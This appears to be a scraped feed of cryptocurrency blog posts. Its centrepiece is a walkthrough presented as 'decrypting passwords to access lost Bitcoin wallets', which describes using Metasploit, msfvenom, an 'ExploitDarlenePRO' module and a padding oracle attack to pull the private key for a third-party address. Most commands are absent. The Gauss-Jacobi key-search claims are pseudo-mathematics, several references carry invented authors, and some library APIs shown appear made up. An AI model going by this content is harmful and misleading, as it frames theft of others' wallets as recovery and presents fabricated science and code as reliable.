    print(f"{tx['txid']} - {tx['amount']} - {datetime.fromtimestamp(tx['timestamp']).strftime('%Y-%m-%d %H:%M:%S')}")

Description:

  • btcconnect – Python library for connecting to Bitcoin Connect complexes.
  • Wallet is an object representing the Bitcoin Connect complex.
  • seed_phrase – string key used to create a Wallet object.
  • connect() – method connecting to Wallet complexes.
  • get_balance() – method that returns the current balance.
  • create_transaction() – method that creates a transaction.
  • sign() – method that signs a transaction.
  • broadcast() – method that sends a transaction to the blockchain.
  • get_transaction_history() – method that returns a list of transactions.

bc  is a module that provides an interface to the BTC Connect API.

import bc

# Коннект к BTC Connect
client = bc.connect()

# Получение списка счетов
accounts = client.get_accounts()

# Вывод информации о счетах
for account in accounts:
    print(f"Название: {account['name']} | Должность: {account['balance']} BTC")

# Получение транзакций за последнюю неделю
transactions = client.get_transactions(start_date='7d')

# Вывод транзакций
for transaction in transactions:
    print(f"Дата: {transaction['date']} | Счет: {transaction['account']} | Сумма: {transaction['amount']} BTC | Тип: {transaction['type']}")

Description:

  • bc is a module that provides an interface to the BTC Connect API.
  • connect() – function to connect to BTC Connect.
  • get_accounts() – function for getting a list of accounts.
  • get_transactions() – function for obtaining transactions for a given period.

Result:

The script will display a list of accounts and their balances, as well as a list of transactions for the last week.


Conclusion

BTC Connect is an innovative platform that greatly simplifies the process of managing crypto assets by providing users with the functionality of combining Layer-1 and Layer-2 wallets and accounting abstraction. With its help, users can manage their assets with maximum efficiency and security.

With the growing popularity of cryptocurrencies and their application in various fields, BTC Connect and similar platforms can become key tools for asset management, providing simplicity and security to its users.

BTC Connect represents a major step forward in the cryptocurrency space by eliminating the complexities associated with managing Bitcoin wallets at different levels. It offers a convenient and secure solution for users who want to take advantage of the benefits of Layer-2 without sacrificing the security and transparency of Layer-1. This allows users to manage their Bitcoin assets with confidence and efficiency, leading to increased adoption and use of the cryptocurrency.


This research paper, “Blockchain API and Web Services,” uses and cites a variety of sources, including academic publications, books, articles, and online resources. Below is a list of literature, documents and research papers cited in the article:

Literature:

  1. “Mastering Blockchain” – Andreas M. Antonopoulos, Gavin Wood, 2018.
  2. “Blockchain: A Guide to Understanding Blockchain Technology” – Ted Tesco, 2017.
  3. “Blockchain: The Next Everything” – Steven Levy, 2017.
  4. “Mastering Ethereum: Building Smart Contracts and DApps” – Andreas R. Braun, 2018.
  5. “Blockchain Technology: Principles and Applications” – Arvind Narayanan, 2018.

Documents and technical documentation:

  1. “ Blockchain API Design: Core Concepts and Best Practices” – W3C working group, editors: M. Speck, I. Zu, 2018.
  2. “Web Services Description Language (WSDL) 2.0: Core Language, W3C Candidate Recommendation” – W3C Working Group, editors: E. Malka, J.-J. Mele, 2006.
  3. “RESTful Web APIs: Services for a Changing World” – Richardson, R. Feldman, 2013.
  4. “JSON: The JavaScript Object Notation” – D. Crockford, 2017.
  5. Technical documentation of popular blockchain platforms: Ethereum, Hyperledger, Bitcoin, Ripple, etc.

Research papers and articles:

  1. “A Survey on Public Blockchain API Economy” – A. De Meo, D. Malacrida, C. De Santis, 2018.
  2. “Blockchain-based Web Services: A Systematic Mapping Study” – M. A. Salah, A. H. Al-Dayel, 2018.
  3. “A Survey on Blockchain Technology and Its Applications” – Y. Cao, W. Yu, J. Liu, H. Han, 2018.
  4. “Blockchain-based API Gateway for IoT Devices” – S. Lee, D. Kim, 2018.
  5. “Designing Blockchain-based APIs for the Internet of Things” – M. A. Salah, A. H. Al-Dayel, 2018.
  6. “A Survey on Blockchain Technology for the Internet of Things” – V. Hristo, S. Hristo, 2016.
  7. “Blockchain Technology in the Internet of Things (IoT): A Systematic Review” – A. Koya, A. P. Mahinta, 2018.

Online resource:

  1. “Blockchain API Hub” – https://blockchain-api.github.io/
  2. “Blockchain API Repository” – https://github.com/blockchain-api
  3. “IBM Blockchain API Documentation” – https://ibm.biz/Blockchain-API
  4. “Ethereum Developer Documentation” – https://ethereum.org/developers
  5. “Hyperledger Fabric Documentation” – https://hyperledger-fabric.readthedocs.io

This list of references and resources provides additional information and context for understanding the blockchain APIs and web services topics discussed in the article. It includes both theoretical foundations and practical implementations, which may be useful for further research and study in the field.


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video material: https://www.youtube.com/@cryptodeeptech

Video tutorial: https://dzen.ru/video/watch/6617ad848b9fc93b9ba699c7

Source: https://cryptodeeptech.ru/blockchain-api-and-web-services


Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Сообщение Blockchain integration: API and web services capabilities for secure Bitcoin transactions появились сначала на «CRYPTO DEEP TECH».

]]>
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT https://cryptodeeptech.ru/gauss-jacobi-method/ Sat, 06 Apr 2024 19:18:58 +0000 https://cryptodeeptech.ru/?p=2712 In this article we will look at an example of a method Gauss-Jacobithat uses modern technologies, such as a pre-trained model Bitcoin ChatGPT, which allows us to more effectively solve complex problems in the field of digital technologies. It is important to note that alternative algorithms such as Gauss-Jacobiplay a key role and open new horizons for the […]

Сообщение Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT появились сначала на «CRYPTO DEEP TECH».

]]>
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

In this article we will look at an example of a method Gauss-Jacobithat uses modern technologies, such as a pre-trained model Bitcoin ChatGPT, which allows us to more effectively solve complex problems in the field of digital technologies. It is important to note that alternative algorithms such as Gauss-Jacobiplay a key role and open new horizons for the development of computational mathematics.

The method Gauss-Jacobiis an iterative numerical method for solving systems of linear equations. It is widely used in various fields such as cryptography, cryptanalysis, engineering and computational mathematics. The Bitcoin network uses cryptographic algorithms such as hash functions SHA-256, signature algorithms ECDSA, and elliptic curves secp256k1to create public and private keys, which are points on an elliptic curve. The private key is the secret numeric value that is used to generate the public key, and the public key is the point on the curve obtained by computing with the private key. Thus, elliptic curves secp256k1form the basis of cryptographic mechanisms that provide secure transactions and protection against various attacks. Modern technologies that develop pre-trained models Bitcoin ChatGPTfind effective ways to solve complex cryptographic problems underlying the algorithms used in Bitcoin.



What are the advantages of the Gauss-Jacobi algorithm :

  • High speed and efficiency , which makes it ideal for searching for attack keys.
  • Interactivity uses only one search step, which allows it to reduce the number of calculations.
  • Availability and ease of implementation , which has simple codes and can easily be implemented in various programs.
  • Available to a wide range of users , who can use it to search for attacks on cryptographic strength for various cryptocurrencies.
  • The flexibility can be applied to a variety of types of cryptographic systems.

How the Gauss-Jacobi algorithm works :

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data network), returns a string code representing x. If xis an attacking key, then f(x) = 0.

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data set), returns a string code representing x. If xis an attacking key, then f(x) = 0.

The algorithm works in the following stages:

  1. Computes Gthe -matrix, which is the matrix of all mixed pairs of elements S, where the i-th element corresponds to the i-th elements of S, and the j-th element to the j-th element S.
  2. Computes the X-matrix, which is a matrix of mixed hash function pairs.
  3. Recursively determines the value of f(x) for each element of S.
  4. If f(x) = 0, this means that xis the attacking key, and the algorithm terminates.
  5. And else, the algorithm continuesrecursively calculates f(x)for various elements Sand adds these elements to Хthe -matrix.
  6. If His a matrix of ones, then the algorithm terminates and we have found the attacking key.

The method’s algorithm Gauss-Jacobican be used to solve systems of equations with a large number of unknowns. This means that this method can be used to solve systems of equations derived from secp256k1 elliptic curves used in cryptography that may have a large number of unknowns, and methods like Gauss-Jacobi can potentially speed up the solution of some discrete logarithm and factorization problems, by which public key cryptography is based on.


Potential application of the Gauss-Jacobi method in cryptanalysis of the Bitcoin blockchain

Let’s consider building the structure of a vulnerable Raw transaction that uses the BitcoinChatGPT module


Let’s open the Google Colab version:

https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1


Let’s combine all the output values ​​into one common line:


Let’s open the option from BlockCypher “Decode A Transaction” :

https://live.blockcypher.com/btc/decodetx

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

After decoding the vulnerable Raw Bitcoin transaction, we get the result:


Let’s pay attention to Bitcoin HASH160: ac9ea341afb74843f80205e8c8da0abc822fa5

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/470292cd9bf60232e2ea4011ab9929106c63477f/30GaussJacobiMethod/DecodeRawTX.txt#L31


BitcoinChatGPT creates a transaction structure using HASHa public key, where we see that Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshito the same address within its network.

https://live.blockcypher.com/widget/btc/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k/received

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Bitcoin HASH160 was obtained using Python Script: wif_to_hash160.py

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py


Question answer:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Ultimately, the BitcoinChatGPT module outputs a response to the file: KEYFOUND.privkey , saving the private key in the two most used formats HEX & WIF

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey


BitcoinChatGPT №1 Gauss Jacobi Method Algorithm


Practical part

To move on to the practical part, let’s create a vulnerable Raw transaction from the received data using the Broadcast Bitcoin Transaction repository

Download and install the source code, open a terminal and run the command:

Catalog:

Let’s install three important libraries:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
requirements.txt

Let’s run the command:


Let’s open the main file in Notepad ++ and make small changes to the Python Script code: main.py



Let’s run the command:

A vulnerable transaction has been created!

Let’s open the RawTX file in the directory:


The order of actions in the video:


As we know from the prompt responses of the BitcoinChatGPT module , the Gauss-Jacobi method algorithm can be used to solve four variants of complex cryptographic problems.

Let’s consider the option №3 The Gauss-Jacobi algorithm can compromise the security of the software file wallet.dat, which is an additional unprotected mechanism where the algorithm creates the wallet.dat file and extracts the private key to the Bitcoin Wallet from the file’s code using the command “dumpprivkey” “address” from the internal software console.

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Option #3


Smart Transformers

Let’s apply machine learning Smart Transformers , integrate the notebook Google Colabwith Pytorch, TensorFlow, JAX and using the received data from a vulnerable Raw transaction for Bitcoin Addresses: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k we will create an unprotected file wallet.dat from the proposed selection of all existing algorithms from SMART_IDENTIFY . Then we will perform a Padding Oracle Attack on the newly created file: wallet.dat to decrypt the password into the original binary format in order to obtain and extract the private key from the Bitcoin Core software console using the standard command:dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


Let’s open a new Google Colab notebook using the link:

https://colab.research.google.com/#create=true

Clone the Smart Transformers repository

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install all the necessary packages and libraries:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s add our vulnerable Raw transaction to a text document: RawTX.txt, for this we will use the utilityecho

Let’s run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Now, in order to obtain the exact algorithm and method for cryptanalysis, we need to identify the vulnerable RawTX using the SMART_IDENTIFY utility .

Let’s run the command:

As a result, we get the Gauss_Jacobi_Algorithm method, in early studies the BitcoinChatGPT module identified the same thing .


Let’s open the directory:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s start the process of creating the wallet.dat file , for this we use the identified data of the vulnerable Raw transaction in the file: RawTX.txt for the process we use the Gauss_Jacobi_Algorithm utility

Let’s run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the directory in the left panel Google Colaband see the file: wallet.datSuccessfully created!

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0


Let’s open the console and run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We see that the file: wallet.dat belongs to Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


File: wallet.dat is encrypted with a password!


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s run the command to check the private key:


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We see a warning: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)


Padding Oracle Attack

We previously published the article Padding Oracle Attack on Wallet.dat. We will use this method and decrypt the password to access the binary format.

Let’s install Ruby

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To run the programs we need, we will install the object-oriented programming language  Ruby

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s check the installation version

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install all the libraries we need  to interact with the Bitcoin protocol/network :

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install the Metasploit Framework and use MSFVenom

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install  the Metasploit Framework  from  GitHub  and use the  MSFVenom tool  to create the payload.

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Options:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Establish  Bitcoin Core integration/staging tree  in Google Colab:

We clone the Bitcoin Core repository by running the command:


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go through the directory to the file:  aes.cpp  to integrate the exploit to launch  Padding Oracle Attack on Wallet.dat

Let’s go to the crypto directory

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Open the file:  aes.cpp  using the cat utility

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To carry out the attack, move the file: wallet.dat to the directory:  bitcoin/src/crypto/

Let’s use the utility   and move  wallet.datmv

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s check the contents of the directory:  bitcoin/src/crypto/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go back to Metasploit Framework

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the folders according to the directory: /modules/exploits/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

ExploitDarlenePRO

Download  "ExploitDarlenePRO" from the catalogue: /modules/exploits/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Unzip the contents  ExploitDarlenePRO.zip using the utility unzip

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go through the catalogue: /ExploitDarlenePRO/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To run the exploit, let’s go back to Metasploit Framework

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We need to identify our  LHOST (Local Host) attacking  IP-address virtual machine. Let’s run the commands:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet:  1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k 


Launch command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Result:


We need to save the resulting binary format to a file:  walletpassphrase.txt we will use  a Python script .

Team:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the file: walletpassphrase.txt

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Result:


The password for access to the private key has been found!


Let’s use the command   via the console dumpprivkey "address"Bitcoin Core



Result:

Private Key Received!



I establish a Bitcoin library 

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s run  the code  to check the compliance of Bitcoin Addresses:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

References:

  1. “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation.
  2. “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented.
  3. “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi.
  4. “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method.
  5. “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method.
  6. “Iterative Solution of Large Linear Systems” (1971) – David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method.
  7. “Iterative Methods for Solving Linear Systems” – The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method.
  8. “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method.
  9. “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi.
  10. “A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method.
  11. Exploring the Gauss-Jacobi Method in Numerical Methods Textbooks – Many textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method.

This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video material: https://www.youtube.com/@cryptodeeptech

Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c

Source: https://cryptodeeptech.ru/gauss-jacobi-method


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Сообщение Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT появились сначала на «CRYPTO DEEP TECH».

]]>
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency https://cryptodeeptech.ru/bitcoin-utilities/ Tue, 20 Feb 2024 07:44:53 +0000 https://cryptodeeptech.ru/?p=2615 Bitcoin is the world’s first decentralized digital currency, and it has revolutionized the way we think about money. One of the most fascinating aspects of Bitcoin is the vast array of utilities that have been developed to support it. These utilities are designed to help users interact with the Bitcoin network in a safe and […]

Сообщение Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency появились сначала на «CRYPTO DEEP TECH».

]]>

Bitcoin is the world’s first decentralized digital currency, and it has revolutionized the way we think about money. One of the most fascinating aspects of Bitcoin is the vast array of utilities that have been developed to support it. These utilities are designed to help users interact with the Bitcoin network in a safe and secure manner, and they play a critical role in the ecosystem.

One of the most popular Bitcoin utilities is the Bitcoin wallet. A wallet is a software application that allows users to store, send, and receive Bitcoin. There are many different types of wallets available, including desktop wallets, mobile wallets, and hardware wallets. Each type of wallet has its own set of advantages and disadvantages, so it’s important to choose the one that best fits your needs.

Another important Bitcoin utility is the Bitcoin exchange. An exchange is a platform that allows users to buy and sell Bitcoin for other currencies, such as USD or EUR. There are many different exchanges available, each with their own set of fees, security features, and user interfaces. It’s important to choose a reputable exchange that has a good track record of security and reliability.

A third type of Bitcoin utility is the mining software. Mining is the process of verifying transactions on the Bitcoin network and adding them to the blockchain. Miners are rewarded with Bitcoin for their work, and the more computing power they have, the more Bitcoin they can earn. Mining software allows users to participate in the mining process and earn Bitcoin.

There are also many other types of Bitcoin utilities available, such as payment processors, merchant services, and blockchain explorers. These utilities are designed to make it easier for businesses and individuals to use Bitcoin in their daily lives, and they play a critical role in the growth and development of the Bitcoin ecosystem.

Bitcoin utilities are an essential part of the Bitcoin ecosystem. They provide users with the tools they need to interact with the Bitcoin network in a safe and secure manner, and they help to drive the adoption of Bitcoin around the world. Whether you’re a business owner, an investor, or just someone who’s interested in digital currencies, there’s a Bitcoin utility out there that can help you achieve your goals.


Advantage

One of the lesser-known advantages of Bitcoin is its utility as a tool for various applications. The underlying technology of Bitcoin, known as blockchain, is essentially a decentralized ledger that can be used to store and verify data. This makes it a valuable tool for a variety of industries, from healthcare to logistics.

One such application is supply chain management. By using blockchain technology, companies can track the movement of goods from the manufacturer to the end consumer. This provides greater transparency and accountability, reducing the risk of fraud and ensuring that products are authentic.

Another application is in the field of voting. Blockchain technology can be used to create a secure and transparent voting system, ensuring that the results are accurate and tamper-proof. This can help to restore faith in the democratic process and prevent election fraud.

Bitcoin can also be used as a means of payment for goods and services. This is particularly useful in countries where traditional banking systems are not accessible or reliable. Bitcoin transactions are fast, cheap, and secure, making them an attractive alternative to traditional payment methods.

Finally, Bitcoin can be used as a store of value. Unlike traditional currencies, which can be devalued by inflation or political instability, Bitcoin is decentralized and immune to such factors. This makes it an attractive option for those looking to preserve their wealth over the long term.

Bitcoin is more than just a cryptocurrency. Its underlying technology, blockchain, has a wide range of applications that can benefit various industries. From supply chain management to voting systems, Bitcoin utilities have the potential to revolutionize the way we do business and interact with each other. As the technology continues to evolve, we can expect to see even more innovative applications of Bitcoin in the years to come.


Classification

One of the key features of Bitcoin is its ability to be classified into different types of utilities. In this article, we will explore the different classifications of Bitcoin utilities and their importance.

  1. Payment System

The most basic classification of Bitcoin is as a payment system. Bitcoin allows users to send and receive payments instantly, without the need for intermediaries like banks or payment processors. This makes it a fast, secure, and cost-effective way to transfer money across borders.

  1. Store of Value

Another important classification of Bitcoin is as a store of value. Bitcoin has a limited supply of 21 million coins, which makes it a scarce resource. This scarcity, combined with its decentralized nature, makes it a popular asset for investors looking to store their wealth in a secure and inflation-proof manner.

  1. Digital Gold

Bitcoin is often referred to as “digital gold” because of its similarities to the precious metal. Like gold, Bitcoin is a scarce resource with a limited supply. It is also decentralized and operates independently of any central authority. This makes it an attractive asset for investors looking to diversify their portfolio and hedge against inflation.

  1. Decentralized Application Platform

Bitcoin also serves as a platform for building decentralized applications (DApps). These are applications that run on a decentralized network, rather than a central server. Bitcoin’s blockchain technology makes it possible to build secure and decentralized applications that are resistant to censorship and fraud.

  1. Cryptocurrency

Finally, Bitcoin is a cryptocurrency, which means it is a digital asset that uses cryptography to secure its transactions and to control the creation of new units. Cryptocurrencies like Bitcoin are designed to be decentralized and operate independently of any central authority. This makes them an attractive alternative to traditional currencies, which are subject to inflation and manipulation by central banks. Bitcoin is a versatile and innovative technology that can be classified into different types of utilities. As a payment system, store of value, digital gold, decentralized application platform, and cryptocurrency, Bitcoin has the potential to revolutionize the way we think about money and financial transactions.


Bitcoin Utilities

  1. Monitor Transactions on Bitcoin Addresses with Python and TxWatcher ↩︎
  2. Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings ↩︎
  3. “hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) ↩︎
  4. “BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife ↩︎
  5. “Pycoin” – Python-based Bitcoin and alt-coin utility library ↩︎
  6. “bx” – Bitcoin Command Line Tool ↩︎
  7. “HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network ↩︎
  8. “HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits ↩︎
  9. “QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component ↩︎

Monitor Transactions on Bitcoin Addresses with Python and TxWatcher 1

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/tsileo/txwatcher

TxWatcher is a Python-based tool that allows you to monitor transactions on Bitcoin addresses. It can be used for a variety of purposes, such as tracking donations to a non-profit organization or monitoring payments made to a merchant account. In this article, we’ll show you how to use TxWatcher to monitor transactions on Bitcoin addresses.

First, you’ll need to install TxWatcher. You can do this by running the following command in your terminal:

pip install txwatcher

Once TxWatcher is installed, you can start monitoring transactions by creating a new instance of the TxWatcher class. Here’s an example:

from txwatcher import TxWatcher

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

In this example, we’re creating a new TxWatcher instance and passing our API key and the Bitcoin network we want to monitor (in this case, the testnet). We’re then calling the watch_address() method and passing in the Bitcoin address we want to monitor.

TxWatcher will now start monitoring transactions for the specified Bitcoin address. You can listen for new transactions by calling the listen_for_transactions() method:

# Listen for new transactions
tx_watcher.listen_for_transactions()

This will block the execution of your program until a new transaction is detected. When a new transaction is detected, TxWatcher will emit a transaction event. You can listen for this event and do something with the transaction data, such as storing it in a database or sending an email notification.

Here’s an example of how to listen for new transactions and store the transaction data in a MongoDB database:

from txwatcher import TxWatcher
from pymongo import MongoClient

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Connect to MongoDB
client = MongoClient('mongodb://localhost:27017/')
db = client['my_database']
collection = db['transactions']

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

# Listen for new transactions and store them in MongoDB
tx_watcher.listen_for_transactions(on_transaction=lambda transaction: collection.insert_one(transaction.to_dict()))

In this example, we’re connecting to a local MongoDB instance and creating a new database and collection to store the transaction data. We’re then calling the listen_for_transactions() method and passing in a lambda function that takes a transaction object and inserts it into the MongoDB collection using the insert_one() method.

That’s it! You now know how to use TxWatcher to monitor transactions on Bitcoin addresses. With a little bit of creativity, you can use this tool to build all sorts of Bitcoin-related applications and services.

Python script that utilizes txwatcher:

import txwatcher

# create a new instance of the txwatcher
txwatcher = txwatcher.TxWatcher()

# connect to the blockchain
txwatcher.connect_blockchain()

# monitor a specific address for incoming transactions
txwatcher.monitor_address('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# monitor a specific transaction hash for confirmations
txwatcher.monitor_transaction_hash('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# print the transaction details when a new transaction is detected
txwatcher.print_transaction_details()

# close the connection to the blockchain
txwatcher.close_blockchain_connection()

This script imports the txwatcher module and creates a new instance of the TxWatcher class. It then connects to the blockchain and monitors a specific address and transaction hash for incoming transactions and confirmations, respectively. Finally, it prints the transaction details and closes the connection to the blockchain.


Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings 2

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/vulpemventures/nigiri

